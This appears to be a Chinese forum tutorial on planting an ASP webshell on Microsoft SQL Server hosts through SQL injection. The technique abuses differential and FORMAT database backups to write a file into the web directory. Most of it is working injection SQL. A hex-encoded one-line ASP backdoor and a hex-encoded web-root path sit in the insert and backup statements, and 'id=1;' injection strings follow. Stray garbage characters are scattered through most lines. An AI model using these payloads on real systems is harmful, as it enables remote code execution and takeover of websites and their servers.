减少备份文件大小,得到可执行的webshell成功率提高不少. j; f1 y' @% s. G
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一利用差异备份( w8 k9 c; {6 K- l R0 C$ e9 B
加一个参数WITH DIFFERENTIAL! H4 v* Y: s& {( A g" D5 J3 E
& h" C5 o! y1 [) w* _declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
( |5 z8 _6 r% Ecreate table [dbo].[xiaolu] ([cmd] [image]);- X7 w% Z0 }% M4 C# o, w: J
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" n- e* j% K' Ddeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT& m( l& E8 m* [
加一个参数WITH FROMAT
1 i9 w5 Q/ S9 Z2 c+ j( y有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s& }. N8 ~) G% |; V+ K
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)4 T x9 J/ G! ~+ I: u5 y3 [
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT% i; q: r. R( j3 k9 T) V- j% a
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总的来说就是那么简单几句,下面以备份数据库model为例子8 W0 K8 T! G7 _# f) K/ n0 L) [* f
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id=1;use model create table cmd(str image);insert into cmd(str) values (”)
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id=1;backup database model to disk=’你的路径‘ with differential,format;–& k4 S* T% G5 \. ]' P
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